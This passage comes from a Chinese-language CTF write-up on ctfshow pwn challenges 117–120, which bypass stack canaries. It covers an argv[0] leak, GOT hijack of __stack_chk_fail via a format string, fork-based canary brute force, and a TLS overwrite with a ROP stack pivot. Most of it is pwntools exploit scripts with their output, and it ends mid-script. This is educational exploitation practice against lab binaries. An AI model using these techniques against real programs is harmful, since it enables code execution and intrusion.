class="line">.bss:00000000006020A0                 public buf</span><br><span class="line">.bss:00000000006020A0 buf             db    ? ;               ; DATA XREF: main+88↑o</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">//stack_chk_fail最终会调用__fortify_fail函数输出错误信息，其关键代码（简化）为：</span></span><br><span class="line"><span class="type">void</span> __fortify_fail(<span class="type">const</span> <span class="type">char</span> *msg) &#123;</span><br><span class="line">    __libc_message(<span class="number">2</span>, <span class="string">&quot;*** %s ***: %s terminated\n&quot;</span>, msg, __libc_argv[<span class="number">0</span>]);</span><br><span class="line">    <span class="built_in">abort</span>();</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//报错信息格式：*** stack smashing detected ***: [程序名] terminated其中__libc_argv[0]是全局指针变量，存储程序的命令行参数第一个值（即程序自身的路径如./exploit）。</span></span><br></pre></td></tr></table></figure><p>可以看到程序先以及读取了&#x2F;flag⽂件，然后可以看到buf在bss段，gets(v5)明显的栈溢出漏洞canary检测失败时会调⽤stack_chk_fail函数，输出⼀段报错，报错会输出⽂件名，覆盖⽂件名指针，从⽽实现任意读，也就是覆盖变量__libc_argv[0]</p><p>这样我们就可以在canary检测失败时，输出我们想要的flag值：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;aha,It has reduced you a lot of difficulty!&#x27;</span>)</span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span> * <span class="number">504</span> + p64(<span class="number">0x6020A0</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br><span class="line"><span class="comment">#debug算出gets时候的栈地址和__libc_argv[0]距离即可，但我算不对，直接爆破[有师傅教一下吗]:</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>, os=<span class="string">&#x27;linux&#x27;</span>,log_level=<span class="string">&#x27;info&#x27;</span>)</span><br><span class="line">flag = <span class="number">0x6020A0</span> </span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>(<span class="params">i</span>):</span><br><span class="line"><span class="built_in">print</span>(i)</span><br><span class="line">io.recvuntil(<span class="string">&#x27;Haha,It has reduced you a lot of difficulty!&#x27;</span>)</span><br><span class="line">payload = cyclic(i) + p64(flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line"><span class="built_in">print</span>(io.recvall())</span><br><span class="line">io.close()</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">280</span>,<span class="number">504</span>)</span><br><span class="line">        io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>,<span class="number">28214</span>)</span><br><span class="line">        pwn(i)</span><br><span class="line">        sleep(<span class="number">0.1</span>)</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure><h2 id="pwn118（劫持-stack-chk-fail函数绕过canary）"><a href="#pwn118（劫持-stack-chk-fail函数绕过canary）" class="headerlink" title="pwn118（劫持___stack_chk_fail函数绕过canary）"></a>pwn118（劫持___stack_chk_fail函数绕过canary）</h2><h6 id="Hint：Bypass-Canary-姿势4"><a href="#Hint：Bypass-Canary-姿势4" class="headerlink" title="Hint：Bypass Canary 姿势4"></a>Hint：Bypass Canary 姿势4</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      No RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位开启Canary与NX保护</p><p>IDA查看main函数，跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(&amp;argc);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Nice to meet you&quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> buf[<span class="number">80</span>]; <span class="comment">// [esp+Ch] [ebp-5Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v2; <span class="comment">// [esp+5Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0xA0u</span>);</span><br><span class="line">  <span class="built_in">printf</span>(buf);</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14u</span>) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>还是明显的栈溢出漏洞跟格式化字符串漏洞，这次我们再换⼀种⽅式进⾏绕过</p><p>我们还是发现存在后⻔函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这次我们劫持__stack_chk_fail函数，由于这⾥存在后⻔函数能直接获取flag，那么我们只需要将其改</p><p>写为get_flag函数的地址就可以了。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanism_Bypass</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Turned on Canary, simply bypass it!</span><br><span class="line">    * *************************************</span><br><span class="line">Nice to meet you</span><br><span class="line">AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p</span><br><span class="line">AAAA.0xffb77aac.0xa0.0x8048719.0x46.0xe8929d40.0xffb77ae8.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70</span><br></pre></td></tr></table></figure><p>偏移量7</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"></span><br><span class="line">stack_chk_fail_got = elf.got[<span class="string">&#x27;__stack_chk_fail&#x27;</span>]</span><br><span class="line">getflag = elf.sym[<span class="string">&#x27;get_flag&#x27;</span>]</span><br><span class="line"></span><br><span class="line">payload = fmtstr_payload(<span class="number">7</span>,&#123;stack_chk_fail_got:getflag&#125;)</span><br><span class="line">payload = payload.ljust(<span class="number">80</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 101</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      No RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br><span class="line">[*] Got EOF <span class="keyword">while</span> reading <span class="keyword">in</span> interactive</span><br></pre></td></tr></table></figure><h2 id="pwn119-fork-puts来泄露canary"><a href="#pwn119-fork-puts来泄露canary" class="headerlink" title="pwn119(fork+puts来泄露canary)"></a>pwn119(fork+puts来泄露canary)</h2><h6 id="Hint：Bypass-Canary-姿势5"><a href="#Hint：Bypass-Canary-姿势5" class="headerlink" title="Hint：Bypass Canary 姿势5"></a>Hint：Bypass Canary 姿势5</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位开启Canary与NX保护，部分开启RELRO保护</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl __noreturn <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(&amp;argc);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048918);</span><br><span class="line">  <span class="built_in">puts</span>(asc_804898C);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A08);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048A94);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048B24);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048BA8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_8048C3C);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Linux_Security_Mechanism_Bypass                         &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : Turned on Canary, simply bypass it!                     &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Try PWN Me!&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> ( !fork() )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    wait(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>程序中存在fork函数，⽽且还是不断循环，跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">100</span>]; <span class="comment">// [esp+8h] [ebp-70h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v2; <span class="comment">// [esp+6Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x200u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(s);</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14u</span>) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>还是栈溢出漏洞，开启了Canary保护，因此我们需要先绕过保护</p><p>每次进程重启后的Canary是不同的，但是同⼀个进程中的Canary都是⼀样的。并且 通过 fork 函数创建的⼦进程的 Canary 也是相同的，因为 fork 函数会直接拷⻉⽗进程的内存。因此我们可以考虑进⾏one by one 爆破</p><p>还有后门函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">backdoor</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">backdoor = elf.sym[<span class="string">&#x27;backdoor&#x27;</span>]</span><br><span class="line"></span><br><span class="line">canary = <span class="string">b&#x27;\x00&#x27;</span>  <span class="comment"># Canary首字节固定为0x00[字符串终止符]（防止被字符串函数完整泄露）</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):  <span class="comment"># 爆破Canary的后3个字节（共4字节）</span></span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">256</span>):  <span class="comment"># 每个字节尝试0-255所有可能值</span></span><br><span class="line">        payload = <span class="string">b&#x27;a&#x27;</span> * (<span class="number">0x70</span> - <span class="number">0xC</span>) + canary + <span class="built_in">bytes</span>([j])  <span class="comment">#缓冲区s到 Canary 的偏移</span></span><br><span class="line">        io.send(payload)  </span><br><span class="line">        sleep(<span class="number">0.3</span>)  <span class="comment"># 等待接收响应</span></span><br><span class="line">        text = io.recv() </span><br><span class="line">        <span class="comment"># 判断是否猜对当前字节：若未触发栈溢出检测，说明Canary未被破坏</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="string">b&quot;stack smashing detected&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> text):</span><br><span class="line">            canary += <span class="built_in">bytes</span>([j])  <span class="comment"># 猜对则将该字节加入Canary</span></span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;Canary: <span class="subst">&#123;canary.<span class="built_in">hex</span>()&#125;</span>&quot;</span>)  <span class="comment"># 转为十六进制字符串打印</span></span><br><span class="line">            <span class="keyword">break</span>  <span class="comment"># 进入下一个字节的爆破</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&#x27;Canary: <span class="subst">&#123;<span class="built_in">hex</span>(u32(canary))&#125;</span>&#x27;</span>)  <span class="comment"># 打印获取到的Canary（转为32位整数）</span></span><br><span class="line"><span class="comment"># 构造溢出Payload：覆盖缓冲区 -&gt; 填入正确Canary -&gt; 覆盖ebp -&gt; 覆盖返回地址为backdoor</span></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span> * <span class="number">100</span> + canary + <span class="string">b&#x27;a&#x27;</span> * <span class="number">0xc</span> + p32(backdoor)</span><br><span class="line">io.send(payload)  </span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()  </span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 363</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">Canary: 0029</span><br><span class="line">Canary: 002981</span><br><span class="line">Canary: 00298112</span><br><span class="line">Canary: 0x12812900</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line"> ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn120-劫持TLS绕过canary"><a href="#pwn120-劫持TLS绕过canary" class="headerlink" title="pwn120(劫持TLS绕过canary)"></a>pwn120(劫持TLS绕过canary)</h2><h6 id="Hint：Bypass-Canary-姿势6"><a href="#Hint：Bypass-Canary-姿势6" class="headerlink" title="Hint：Bypass Canary 姿势6"></a>Hint：Bypass Canary 姿势6</h6><p><strong><code>前提条件：</code></strong></p><ol><li><strong>溢出字节足够大（通常至少4KB）</strong>：这是因为TLS（Thread Local Storage）通常位于线程栈的高地址区域（例如，在x86-64 Linux中，TLS可能位于栈顶附近）。需要覆盖整个栈缓冲区直到TLS区域，因此溢出大小需要至少一个内存页（4KB）或更多，具体取决于TLS的偏移量。</li><li><strong>在线程内发生栈溢出</strong>：这种利用技术依赖于线程的TLS。主线程的TLS布局可能不同，而新创建的线程的TLS更容易定位和覆盖。因此，通常需要在程序创建一个新线程后，在该线程的栈函数中进行溢出。</li></ol><p><strong><code>原理：</code></strong></p><ul><li><strong>TLS与canary的关系</strong>：当程序开启canary保护（如GCC的<code>-fstack-protector</code>）时，每个线程在创建时都会生成一个独立的canary值，并存储在其TLS中（例如，在Linux glibc中，canary值存储在TLS结构的<code>stack_guard</code>字段）。函数序言中从TLS读取canary值并放入栈上，函数返回前检查栈上的canary值是否与TLS中的值一致。</li><li><strong>TLS的位置</strong>：在线程栈中，TLS通常位于栈的高地址端（即栈顶附近）。通过计算偏移量，可以确定TLS相对于栈缓冲区的具体位置。</li><li><strong>劫持TLS</strong>：通过栈溢出，覆盖从栈缓冲区到TLS区域的内存，从而修改TLS中的canary值。攻击者可以将TLS中的canary值覆盖为一个已知值（例如全零），然后在溢出时构造payload，使栈上的canary值与修改后的TLS值匹配，从而绕过canary检查。</li><li><strong>后续利用</strong>：绕过canary后，攻击者可以进一步覆盖返回地址，执行ROP（Return-Oriented Programming）链，实现代码执行。</li></ul><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位仅关闭PIE</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">pthread_t</span> newthread[<span class="number">2</span>]; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="comment">//pthread_t 是 POSIX 线程库中表示 “线程 ID” 的类型（类似进程的 PID，但针对线程）;newthread[2] 定义了一个包含 2 个元素的数组，用于存储线程 ID。</span></span><br><span class="line"></span><br><span class="line">  newthread[<span class="number">1</span>] = __readfsqword(<span class="number">0x28u</span>); <span class="comment">//把当前线程的 canary 值读取出来，存入 newthread[1] 中</span></span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  pthread_create(newthread, <span class="number">0</span>, start, <span class="number">0</span>); </span><br><span class="line">  <span class="comment">/*这是 POSIX 线程库创建新线程的函数 pthread_create，参数含义：</span></span><br><span class="line"><span class="comment">第一个参数 newthread：指针，用于存储新创建线程的 ID（会写入 newthread[0]，因为数组名是首元素地址）。</span></span><br><span class="line"><span class="comment">第二个参数 0：线程属性（传 0 表示使用默认属性）。</span></span><br><span class="line"><span class="comment">第三个参数 start：新线程要执行的函数（线程入口函数，类似 main 函数）。</span></span><br><span class="line"><span class="comment">第四个参数 0：传给 start 函数的参数（这里传空）。*/</span></span><br><span class="line">  <span class="keyword">if</span> ( pthread_join(newthread[<span class="number">0</span>], <span class="number">0</span>) )</span><br><span class="line">  &#123;<span class="comment">/*pthread_join 是等待线程结束的函数，参数含义：</span></span><br><span class="line"><span class="comment">第一个参数 newthread[0]：要等待的线程 ID（即刚创建的那个线程）。</span></span><br><span class="line"><span class="comment">第二个参数 0：指针，用于接收线程的返回值（传 0 表示不关心返回值）。</span></span><br><span class="line"><span class="comment">函数返回值：如果等待成功返回 0，失败返回非 0。</span></span><br><span class="line"><span class="comment">效果：主线程会暂停在这里，等待 newthread[0] 对应的线程执行完；如果等待失败，就打印 &quot;exit failure&quot; 并退出。*/</span></span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;exit failure&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Bye bye&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>创建了⼀个线程，线程 ID 存到 <code>newthread[0]</code>，新线程会执行 <code>start</code> 函数，跟进看⼀下：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> *__fastcall <span class="title function_">start</span><span class="params">(<span class="type">void</span> *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> __int64 n0x5000; <span class="comment">// [rsp+8h] [rbp-518h]</span></span><br><span class="line">  _BYTE s[<span class="number">1288</span>]; <span class="comment">// [rsp+10h] [rbp-510h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v4; <span class="comment">// [rsp+518h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v4 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="number">0x500u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Old friends meet again!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;How much do you want to send this time?&quot;</span>);</span><br><span class="line">  n0x5000 = lenth();</span><br><span class="line">  <span class="keyword">if</span> ( n0x5000 &lt;= <span class="number">0x5000</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    readn(<span class="number">0</span>, s, n0x5000);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;See you next time!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Are you kidding me?&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>⼦进程⾥⾯先让⽤⼾输⼊要输⼊的⼤⼩，如果⼤于0x5000就输出”Are you kidding me?”，如果⼩于等于就进⾏读取明显存在栈溢出。</p><p>Canary 储存在 TLS 中，在函数返回前会使⽤这个值进⾏对⽐。当溢出尺⼨较⼤时，可以同时覆盖栈上</p><p>储存的 Canary 和 TLS 储存的 Canary 实现绕过。</p><p>我们可以从这⾥溢出到TLS修改canary，接下来就是确定canary的位置</p><p>之后便是确定好偏移，然后构造ROP链，泄露地址puts函数的地址，计算出libcbase，最后然后我们只需要在构造⼀个read，写⼀个one_gadget到stack_pivot上，然后控制返回地址回stack_pivot便能获取⼀个shell了</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:0000000000400ADA                 leave</span><br><span class="line">.text:0000000000400ADB                 retn</span><br><span class="line">.text:0000000000400ADB ; &#125; // starts at 400A1E</span><br><span class="line">.text:0000000000400ADB start           endp</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;ret&quot;</span></span><br><span class="line">0x0000000000400be3 : pop rdi ; ret</span><br><span class="line">0x0000000000400be1 : pop rsi ; pop r15 ; ret</span><br><span class="line">0x00000000004006be : ret</span><br><span class="line"></span><br><span class="line">$ readelf -S pwn</span><br><span class="line">There are 28 section headers, starting at offset 0x2b30:</span><br><span class="line"></span><br><span class="line">Section Headers:</span><br><span class="line">  [Nr] Name              Type             Address           Offset</span><br><span class="line">       Size              EntSize          Flags  Link  Info  Align</span><br><span class="line">  </span><br><span class="line">  [23] .bss              NOBITS           0000000000602010  00002010</span><br><span class="line">       0000000000000020  0000000000000000  WA       0     0     16</span><br><span class="line">       </span><br><span class="line">$ one_gadget /lib/x86_64-linux-gnu/libc.so.6</span><br><span class="line">0x4f29e execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x40, environ)</span><br><span class="line">constraints:</span><br><span class="line">  address rsp+0x50 is writable</span><br><span class="line">  rsp &amp; 0xf == 0</span><br><span class="line">  rcx == NULL || &#123;rcx, <span class="string">&quot;-c&quot;</span>, r12, NULL&#125; is a valid argv</span><br><span class="line"></span><br><span class="line">0x4f2a5 execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x40, environ)</span><br><span class="line">constraints:</span><br><span class="line">  address rsp+0x50 is writable</span><br><span class="line">  rsp &amp; 0xf == 0</span><br><span class="line">  rcx == NULL || &#123;rcx, rax, r12, NULL&#125; is a valid argv</span><br><span class="line"></span><br><span class="line">0x4f302 execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x40, environ)</span><br><span class="line">constraints:</span><br><span class="line">  [rsp+0x40] == NULL || &#123;[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...&#125; is a valid argv</span><br><span class="line"></span><br><span class="line">0x10a2fc execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x70, environ)</span><br><span class="line">constraints:</span><br><span class="line">  [rsp+0x70] == NULL || &#123;[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...&#125; is a valid argv</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>) </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line">leave_addr = <span class="number">0x400ADA</span> <span class="comment">#stat函数leave指令的地址（用于栈迁移）</span></span><br><span class="line">pop_rdi_ret = <span class="number">0x400be3</span></span><br><span class="line">pop_rsi_r15_ret = <span class="number">0x400be1</span></span><br><span class="line">bss_addr = <span class="number">0x602010</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span> * <span class="number">0x510</span> + p64(bss_addr - <span class="number">0x8</span>) </span><br><span class="line"><span class="comment">#填充到返回地址，设置新的rbp（为栈迁移准备）【-0x8是为了让leave指令执行后[pop rbp ;从栈顶弹出一个值到rbp，同时rsp增加8字节（因为弹出8字节数据）]，rsp精准落在bss_addr（我们可控的区域）】</span></span><br><span class="line"></span><br><span class="line">payload += p64(pop_rdi_ret) + p64(elf.got[<span class="string">&#x27;puts&#x27;</span>]) + p64(elf.symbols[<span class="string">&#x27;puts&#x27;</span>])</span><br><span class="line"><span class="comment">#用pop_rdi_ret将puts的GOT表地址（存储puts实际地址）放入rdi，然后调用puts函数，泄露puts的实际地址</span></span><br><span class="line"></span><br><span class="line">payload += p64(pop_rdi_ret) + p64(<span class="number">0</span>)  <span class="comment">#rdi=0（标准输入）</span></span><br><span class="line">payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(<span class="number">0</span>) + p64(elf.symbols[<span class="string">&quot;read&quot;</span>]) <span class="comment">#调用read(0, bss_addr, ...)，从输入读取数据到bss段</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#触发栈迁移</span></span><br><span class="line">payload += p64(leave_addr) <span class="comment">#执行leave后，rsp会指向bss_addr - 0x8，后续执行会从bss段读取指令</span></span><br><span class="line"></span><br><span class="line">payload = payload.ljust(<span class="number">0x1000</span>, <span class="string">b&#x27;a&#x27;</span>)  <span class="comment"># 填充到0x1000字节（满足输入长度要求）</span></span><br><span class="line">io.sendlineafter(<span class="string">b&quot;How much do you want to send this time?\n&quot;</span>, <span 